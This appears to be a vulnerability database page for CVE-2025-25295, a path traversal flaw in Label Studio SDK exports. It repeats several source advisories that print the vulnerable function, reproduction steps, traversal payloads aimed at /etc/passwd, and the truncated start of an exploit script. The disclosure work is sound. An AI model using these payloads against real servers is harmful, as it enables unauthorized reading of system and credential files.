CVE-2025-25295
Label Studio has a Path Traversal Vulnerability via image Field
Label Studio is an open source data labeling tool. A path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. The flaw exists in the VOC, COCO and YOLO export functionalities. These functions invoke a download function on the label-studio-sdk python package, which fails to validate file paths when processing image references during task exports. By creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats. This is authentication-required vulnerability allowing arbitrary file reads from the server filesystem. It may lead to potential exposure of sensitive information like configuration files, credentials, and confidential data. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.7
Label Studio has a Path Traversal Vulnerability via image Field
Label Studio is an open source data labeling tool. A path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. The flaw exists in the VOC, COCO and YOLO export functionalities. These functions invoke a download function on the label-studio-sdk python package, which fails to validate file paths when processing image references during task exports. By creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats. This is authentication-required vulnerability allowing arbitrary file reads from the server filesystem. It may lead to potential exposure of sensitive information like configuration files, credentials, and confidential data. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it.
- Record
CVE-2025-25295- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-22, CWE-26
- Updated
- 2026-11-02
EUVDEUVD-2025-4105
8.7
Label Studio is an open source data labeling tool. A path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. The flaw exists in the VOC, COCO and YOLO export functionalities. These functions invoke a download function on the label-studio-sdk python package, which fails to validate file paths when processing image references during task exports. By creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats. This is authentication-required vulnerability allowing arbitrary file reads from the server filesystem. It may lead to potential exposure of sensitive information like configuration files, credentials, and confidential data. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it.
- Record
EUVD-2025-4105- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-rgv9-w7jp-m23g
8.7
Label Studio has a Path Traversal Vulnerability via image Field
Description
A path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it. The flaw exists in the VOC, COCO and YOLO export functionalites. These functions invoke a download function on the label-studio-sdk python package, which fails to validate file paths when processing image references during task exports:
def download(
url,
output_dir,
filename=None,
project_dir=None,
return_relative_path=False,
upload_dir=None,
download_resources=True,
):
is_local_file = url.startswith("/data/") and "?d=" in url
is_uploaded_file = url.startswith("/data/upload")
if is_uploaded_file:
upload_dir = _get_upload_dir(project_dir, upload_dir)
filename = urllib.parse.unquote(url.replace("/data/upload/", ""))
filepath = os.path.join(upload_dir, filename)
logger.debug(
f"Copy {filepath} to {output_dir}".format(
filepath=filepath, output_dir=output_dir
)
)
if download_resources:
shutil.copy(filepath, output_dir)
if return_relative_path:
return os.path.join(
os.path.basename(output_dir), os.path.basename(filename)
)
return filepath
if is_local_file:
filename, dir_path = url.split("/data/", 1)[-1].split("?d=")
dir_path = str(urllib.parse.unquote(dir_path))
filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path)
if not os.path.exists(filepath):
raise FileNotFoundError(filepath)
if download_resources:
shutil.copy(filepath, output_dir)
return filepath
By creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats.
Note that there are two different possible code paths leading to this result, one for the is_uploaded_file and another one for the is_local_file.
Steps to Reproduce
-
Login to Label Studio
-
Create project with image labeling configuration
-
If the
data/media/uploaddirectory doesn't exists yet, upload an image to force the server to create it -
Create task with path traversal in image field
4.1. To trigger the
is_uploaded_filecode path:{ "data": { "text": "test", "image": "/data/upload/../../../../../etc/passwd" } }4.2. To trigger the
is_local_filecode path:{ "data": { "text": "test", "image": "/data/local-files/?d=../../../etc/passwd" } } -
Export project using VOC, YOLO or COCO formats. The server will return a Zip file in any of the three cases, for example:
GET /api/projects/1/export?exportType=VOC&download_all_tasks=true&download_resources=true -
Download the generated Zip file. The server's /etc/passwd file will be at
images/passwdon the Zip file.
Alternatively, use the following exploit code, updating the BASE_URL, USERNAME and PASSWORD variables. Please note that the code will attempt to create a new user, but if the user exists and the credentials are valid, it will still work. Modify METHOD and EXPORT_TYPE to test the different code paths and export formats:
import requests
from bs4 import BeautifulSoup
import io
import zipfile
BASE_URL = "http://xbow-app-1:8000"
USERNAME = "[email protected]"
PASSWORD = "Test123!@#"
METHOD = "is_uploaded_file" # Valid values: "is_uploaded_file" or "is_local_file"
EXPORT_TYPE = "VOC" # Valid values: "VOC", "COCO" or "YOLO"
print("Signing up...")
url =…
- Record
GHSA-rgv9-w7jp-m23g- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-22, CWE-26
- Updated
- 2026-11-02
NVD
8.7
Label Studio is an open source data labeling tool. A path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. The flaw exists in the VOC, COCO and YOLO export functionalities. These functions invoke a download function on the label-studio-sdk python package, which fails to validate file paths when processing image references during task exports. By creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats. This is authentication-required vulnerability allowing arbitrary file reads from the server filesystem. It may lead to potential exposure of sensitive information like configuration files, credentials, and confidential data. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it.
- Record
CVE-2025-25295- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-22, CWE-26
- Updated
- 2026-11-02
OSV
8.7
Label Studio has a Path Traversal Vulnerability via image Field
Label Studio is an open source data labeling tool. A path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. The flaw exists in the VOC, COCO and YOLO export functionalities. These functions invoke a download function on the label-studio-sdk python package, which fails to validate file paths when processing image references during task exports. By creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats. This is authentication-required vulnerability allowing arbitrary file reads from the server filesystem. It may lead to potential exposure of sensitive information like configuration files, credentials, and confidential data. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it.
- Record
CVE-2025-25295- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-22, CWE-26
- Updated
- 2026-11-02
OSVGHSA-rgv9-w7jp-m23g
8.7
Label Studio has a Path Traversal Vulnerability via image Field
Description
A path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it. The flaw exists in the VOC, COCO and YOLO export functionalites. These functions invoke a download function on the label-studio-sdk python package, which fails to validate file paths when processing image references during task exports:
def download(
url,
output_dir,
filename=None,
project_dir=None,
return_relative_path=False,
upload_dir=None,
download_resources=True,
):
is_local_file = url.startswith("/data/") and "?d=" in url
is_uploaded_file = url.startswith("/data/upload")
if is_uploaded_file:
upload_dir = _get_upload_dir(project_dir, upload_dir)
filename = urllib.parse.unquote(url.replace("/data/upload/", ""))
filepath = os.path.join(upload_dir, filename)
logger.debug(
f"Copy {filepath} to {output_dir}".format(
filepath=filepath, output_dir=output_dir
)
)
if download_resources:
shutil.copy(filepath, output_dir)
if return_relative_path:
return os.path.join(
os.path.basename(output_dir), os.path.basename(filename)
)
return filepath
if is_local_file:
filename, dir_path = url.split("/data/", 1)[-1].split("?d=")
dir_path = str(urllib.parse.unquote(dir_path))
filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path)
if not os.path.exists(filepath):
raise FileNotFoundError(filepath)
if download_resources:
shutil.copy(filepath, output_dir)
return filepath
By creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats.
Note that there are two different possible code paths leading to this result, one for the is_uploaded_file and another one for the is_local_file.
Steps to Reproduce
-
Login to Label Studio
-
Create project with image labeling configuration
-
If the
data/media/uploaddirectory doesn't exists yet, upload an image to force the server to create it -
Create task with path traversal in image field
4.1. To trigger the
is_uploaded_filecode path:{ "data": { "text": "test", "image": "/data/upload/../../../../../etc/passwd" } }4.2. To trigger the
is_local_filecode path:{ "data": { "text": "test", "image": "/data/local-files/?d=../../../etc/passwd" } } -
Export project using VOC, YOLO or COCO formats. The server will return a Zip file in any of the three cases, for example:
GET /api/projects/1/export?exportType=VOC&download_all_tasks=true&download_resources=true -
Download the generated Zip file. The server's /etc/passwd file will be at
images/passwdon the Zip file.
Alternatively, use the following exploit code, updating the BASE_URL, USERNAME and PASSWORD variables. Please note that the code will attempt to create a new user, but if the user exists and the credentials are valid, it will still work. Modify METHOD and EXPORT_TYPE to test the different code paths and export formats:
import requests
from bs4 import BeautifulSoup
import io
import zipfile
BASE_URL = "http://xbow-app-1:8000"
USERNAME = "[email protected]"
PASSWORD = "Test123!@#"
METHOD = "is_uploaded_file" # Valid values: "is_uploaded_file" or "is_local_file"
EXPORT_TYPE = "VOC" # Valid values: "VOC", "COCO" or "YOLO"
print("Signing up...")
url =…
- Record
GHSA-rgv9-w7jp-m23g- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-22, CWE-26
- Updated
- 2026-11-02
OSVPYSEC-2026-1506
8.7
Label Studio has a Path Traversal Vulnerability via image Field
Description
A path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it. The flaw exists in the VOC, COCO and YOLO export functionalites. These functions invoke a download function on the label-studio-sdk python package, which fails to validate file paths when processing image references during task exports:
def download(
url,
output_dir,
filename=None,
project_dir=None,
return_relative_path=False,
upload_dir=None,
download_resources=True,
):
is_local_file = url.startswith("/data/") and "?d=" in url
is_uploaded_file = url.startswith("/data/upload")
if is_uploaded_file:
upload_dir = _get_upload_dir(project_dir, upload_dir)
filename = urllib.parse.unquote(url.replace("/data/upload/", ""))
filepath = os.path.join(upload_dir, filename)
logger.debug(
f"Copy {filepath} to {output_dir}".format(
filepath=filepath, output_dir=output_dir
)
)
if download_resources:
shutil.copy(filepath, output_dir)
if return_relative_path:
return os.path.join(
os.path.basename(output_dir), os.path.basename(filename)
)
return filepath
if is_local_file:
filename, dir_path = url.split("/data/", 1)[-1].split("?d=")
dir_path = str(urllib.parse.unquote(dir_path))
filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path)
if not os.path.exists(filepath):
raise FileNotFoundError(filepath)
if download_resources:
shutil.copy(filepath, output_dir)
return filepath
By creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats.
Note that there are two different possible code paths leading to this result, one for the is_uploaded_file and another one for the is_local_file.
Steps to Reproduce
-
Login to Label Studio
-
Create project with image labeling configuration
-
If the
data/media/uploaddirectory doesn't exists yet, upload an image to force the server to create it -
Create task with path traversal in image field
4.1. To trigger the
is_uploaded_filecode path:{ "data": { "text": "test", "image": "/data/upload/../../../../../etc/passwd" } }4.2. To trigger the
is_local_filecode path:{ "data": { "text": "test", "image": "/data/local-files/?d=../../../etc/passwd" } } -
Export project using VOC, YOLO or COCO formats. The server will return a Zip file in any of the three cases, for example:
GET /api/projects/1/export?exportType=VOC&download_all_tasks=true&download_resources=true -
Download the generated Zip file. The server's /etc/passwd file will be at
images/passwdon the Zip file.
Alternatively, use the following exploit code, updating the BASE_URL, USERNAME and PASSWORD variables. Please note that the code will attempt to create a new user, but if the user exists and the credentials are valid, it will still work. Modify METHOD and EXPORT_TYPE to test the different code paths and export formats:
import requests
from bs4 import BeautifulSoup
import io
import zipfile
BASE_URL = "http://xbow-app-1:8000"
USERNAME = "[email protected]"
PASSWORD = "Test123!@#"
METHOD = "is_uploaded_file" # Valid values: "is_uploaded_file" or "is_local_file"
EXPORT_TYPE = "VOC" # Valid values: "VOC", "COCO" or "YOLO"
print("Signing up...")
url =…
- Record
PYSEC-2026-1506- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
label-studio-sdkPyPI |
before 1.0.10 | 1.0.10 |
label-studio-sdkPyPI |
before 1.0.10, plus listed versions 0.0.10.0.100.0.110.0.120.0.13 Show 38 moreShow less0.0.140.0.150.0.160.0.170.0.180.0.190.0.1rc00.0.1rc10.0.1rc20.0.20.0.200.0.210.0.220.0.230.0.240.0.250.0.260.0.270.0.280.0.290.0.30.0.300.0.320.0.340.0.40.0.50.0.60.0.70.0.80.0.91.0.01.0.11.0.21.0.31.0.41.0.51.0.71.0.8 |
1.0.10 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-25295 is a high vulnerability (CVSS 8.7) in Humansignal Label-studio, published February 14, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.76%, the 55th percentile. Fixed in label-studio-sdk 1.0.10.
References
github.com/HumanSignal/label-studio/security/advisories/GHSA-rgv9-w7jp-m23g
github.com/HumanSignal/label-studio-sdk/commit/4a9715c6b0b619371e89c09ea8d1c86ce5c880df
nvd.nist.gov/vuln/detail/CVE-2025-25295
github.com/advisories/GHSA-rgv9-w7jp-m23g
github.com/CVEProject/cvelistV5/tree/main/cves/2025/25xxx/CVE-2025-25295.json
github.com/HumanSignal/label-studio-sdk
pypi.org/project/label-studio-sdk
Left out here: the rest of 3 source descriptions. The JSON record has them.